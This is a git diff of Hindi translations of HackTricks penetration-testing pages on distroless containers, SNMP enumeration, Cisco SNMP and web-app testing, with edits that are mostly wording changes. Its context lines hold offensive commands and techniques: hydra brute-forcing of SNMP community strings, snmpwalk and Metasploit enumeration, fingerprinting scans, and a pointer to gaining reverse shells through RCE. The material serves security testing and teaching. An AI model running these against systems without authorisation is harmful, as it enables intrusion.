hint style="success" %} स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम की गणना** कर सकते हैं भाषा की क्षमताओं का उपयोग करके। @@ -127,28 +127,28 @@ Distroless कंटेनरों का लक्ष्य **अनावश यदि **कोई `read-only/no-exec`** सुरक्षा नहीं है तो आप अपने रिवर्स शेल का दुरुपयोग करके **फाइल सिस्टम में अपने बाइनरी लिख सकते हैं** और **उन्हें निष्पादित** कर सकते हैं। {% hint style="success" %} -हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **उन्हें बायपास करने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं**। +हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **पिछली मेमोरी निष्पादन तकनीकों का उपयोग करके उन्हें बायपास कर सकते हैं**। {% endhint %} आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर **कुछ RCE कमजोरियों का शोषण करने** के उदाहरण पा सकते हैं ताकि स्क्रिप्टिंग भाषाओं के **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें। -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
{% endhint %} diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 00829a2e0..9c83f2cf8 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -23,7 +23,7 @@ Learn & practice GCP Hacking:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

### How @@ -32,14 +32,14 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). @@ -39,15 +39,15 @@ MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटै ### OIDs -**ऑब्जेक्ट आइडेंटिफायर (OIDs)** एक महत्वपूर्ण भूमिका निभाते हैं। ये अद्वितीय पहचानकर्ता **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** के भीतर ऑब्जेक्ट्स को प्रबंधित करने के लिए डिज़ाइन किए गए हैं। +**ऑब्जेक्ट आइडेंटिफायर (OIDs)** एक महत्वपूर्ण भूमिका निभाते हैं। ये अद्वितीय पहचानकर्ता **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** के भीतर ऑब्जेक्ट्स का प्रबंधन करने के लिए डिज़ाइन किए गए हैं। MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्तर विभिन्न मानक-निर्धारण संगठनों को आवंटित किए जाते हैं। इन शीर्ष स्तरों के भीतर वैश्विक प्रबंधन प्रथाओं और मानकों के लिए ढांचा स्थापित किया जाता है। -इसके अलावा, विक्रेताओं को निजी शाखाएं स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है। +इसके अलावा, विक्रेताओं को निजी शाखाएँ स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है। ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) -आप यहां वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या मतलब है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\ +आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\ कुछ **प्रसिद्ध OIDs** हैं जैसे [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस एक से **लंबित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं। ### **OID उदाहरण** @@ -61,7 +61,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स् * 1 – इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं। * 3 – इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया। * 6 – यह DOD या रक्षा विभाग है जो वह संगठन है जिसने सबसे पहले इंटरनेट स्थापित किया। -* 1 – यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होगा। +* 1 – यह इंटरनेट का मान है जो यह दर्शाता है कि सभी संचार इंटरनेट के माध्यम से होंगे। * 4 – यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी। * 1 – यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है। @@ -92,24 +92,24 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं: ### कम्युनिटी स्ट्रिंग्स -जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुंचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\ +जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\ कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं: * **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य * **`private`** **पढ़ने/लिखने** में सामान्य -ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल" होते हैं।**\ -यदि आप किसी ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो एक **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\* +ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\ +यदि आप किसी ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\* -संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**। +संस्करण 1 और 2/2c में यदि आप **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**। ## पोर्ट्स [विकिपीडिया से](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol): * SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है। -* प्रबंधक पोर्ट **162** पर सूचनाएं ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है। -* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएं पोर्ट **10162** पर भेजी जाती हैं। +* प्रबंधक पोर्ट **162** पर सूचनाएँ ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) प्राप्त करता है। +* जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं। ## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c) @@ -157,11 +157,11 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull दो मुख्य सेटिंग्स **पूर्ण OID पेड़** तक पहुंच सक्षम करती हैं, जो नेटवर्क प्रबंधन में एक महत्वपूर्ण घटक है: 1. **`rwuser noauth`** को OID पेड़ तक पूर्ण पहुंच की अनुमति देने के लिए सेट किया गया है बिना प्रमाणीकरण की आवश्यकता के। यह सेटिंग सीधी है और बिना किसी प्रतिबंध के पहुंच की अनुमति देती है। -2. अधिक विशिष्ट नियंत्रण के लिए, पहुंच दी जा सकती है: +2. अधिक विशिष्ट नियंत्रण के लिए, पहुंच प्रदान की जा सकती है: * **`rwcommunity`** के लिए **IPv4** पते, और * **`rwcommunity6`** के लिए **IPv6** पते। -दोनों कमांड एक **कम्युनिटी स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है। +दोनों कमांड एक **समुदाय स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है। ### Microsoft Windows के लिए SNMP पैरामीटर @@ -177,7 +177,7 @@ SNMP के माध्यम से Windows सिस्टम के वि ### Cisco -यदि आप Cisco उपकरण हैं तो इस पृष्ठ को देखें: +यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर एक नज़र डालें: {% content-ref url="cisco-snmp.md" %} [cisco-snmp.md](cisco-snmp.md) @@ -193,7 +193,7 @@ SNMP के माध्यम से Windows सिस्टम के वि ## **मासिव SNMP** -[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न करना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है। +[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न बनाना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है। Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं है। @@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ## SNMP मानों को संशोधित करना -आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जाननी होगी। +आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जानने की आवश्यकता होगी। ## स्पूफिंग @@ -243,9 +243,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp * snmpd.conf * snmp-config.xml -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। {% embed url="https://www.stmcyber.com/careers" %} @@ -295,7 +295,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 7a5e0a24b..8d3acfc90 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). @@ -42,7 +42,7 @@ Metasploit ढांचा `cisco_config_tftp` मॉड्यूल को श #### `snmp_enum` -एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्रित करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है: +एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी इकट्ठा करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है: ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 @@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). @@ -67,8 +67,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें. +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index f27169180..3fa68c847 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -15,9 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). {% embed url="https://www.stmcyber.com/careers" %} @@ -46,7 +46,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 > इस पद्धति में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो। -* [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें। +* [ ] **तकनीकों** की **पहचान** करना शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें। * [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है? * [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**? * [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)? @@ -73,7 +73,7 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**वेब एप्लिकेशन के **संस्करण** की कमजोरियों**](../../generic-methodologies-and-resources/search-exploits.md) +Search **for** [**वेब एप्लिकेशन** **संस्करण** **की कमजोरियों**](../../generic-methodologies-and-resources/search-exploits.md) ### **जांचें कि कोई WAF है या नहीं** @@ -118,11 +118,11 @@ Search **for** [**वेब एप्लिकेशन के **संस्क * [**Electron Desktop (XSS से RCE)**](electron-desktop-apps/) _ध्यान में रखें कि **एक ही डोमेन** विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन** में **विभिन्न प्रौद्योगिकियों** का उपयोग कर सकता है।_\ -यदि वेब एप्लिकेशन किसी प्रसिद्ध **प्रौद्योगिकी/प्लेटफ़ॉर्म** का उपयोग कर रहा है या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)। +यदि वेब एप्लिकेशन किसी प्रसिद्ध **टेक/प्लेटफ़ॉर्म** का उपयोग कर रहा है या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)। ### स्रोत कोड समीक्षा -यदि एप्लिकेशन का **स्रोत कोड** **github** पर उपलब्ध है, तो एप्लिकेशन का **अपना खुद का व्हाइट बॉक्स परीक्षण** करने के अलावा, वर्तमान **ब्लैक-बॉक्स परीक्षण** के लिए **कुछ जानकारी** जो **उपयोगी** हो सकती है: +यदि एप्लिकेशन का **स्रोत कोड** **github** पर उपलब्ध है, तो एप्लिकेशन का **व्हाइट बॉक्स परीक्षण** करने के अलावा, वर्तमान **ब्लैक-बॉक्स परीक्षण** के लिए **कुछ जानकारी** जो **उपयोगी** हो सकती है: * क्या कोई **चेंज-लॉग या रीडमी या संस्करण** फ़ाइल है या कुछ भी जिसमें **संस्करण जानकारी वेब के माध्यम से उपलब्ध** है? * **क्रेडेंशियल्स** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (उपलब्ध?) **फ़ाइल** है जिसमें क्रेडेंशियल्स (उपयोगकर्ता नाम या पासवर्ड) हैं? @@ -202,7 +202,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs * यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है * यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है। -**कमजोरियों** के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें: +**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -218,39 +218,39 @@ Information about SSL/TLS vulnerabilities: ### Spidering -वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके रास्ते ढूंढना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध रास्ते खोजे जाने चाहिए। +वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **जितने संभव हो सके रास्ते ढूंढना** परीक्षण किए गए एप्लिकेशन से। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध रास्ते खोजे जाने चाहिए। * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)। -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org। +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ। * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है। * [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है। -* [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें रास्ते हैं और मेग प्रत्येक होस्ट पर प्रत्येक रास्ता लाएगा और प्रतिक्रिया को सहेजेगा। -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है। +* [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें रास्ते हैं और मेग प्रत्येक होस्ट पर प्रत्येक रास्ता लाएगा और प्रतिक्रिया को सहेजेगा। +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि यह अप्रबंधित है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है। * [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है। * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी। * [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए रास्तों की खोज करने में सक्षम JS ब्यूटीफाई क्षमताओं के साथ। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नज़र डालना फायदेमंद हो सकता है, जो LinkFinder का एक रैपर है। * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में एंडपॉइंट्स निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निन्जाओं के लिए उपयोगी। -* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि इसे बनाए नहीं रखा गया है। -* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके उससे URL निकालेगा और बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष 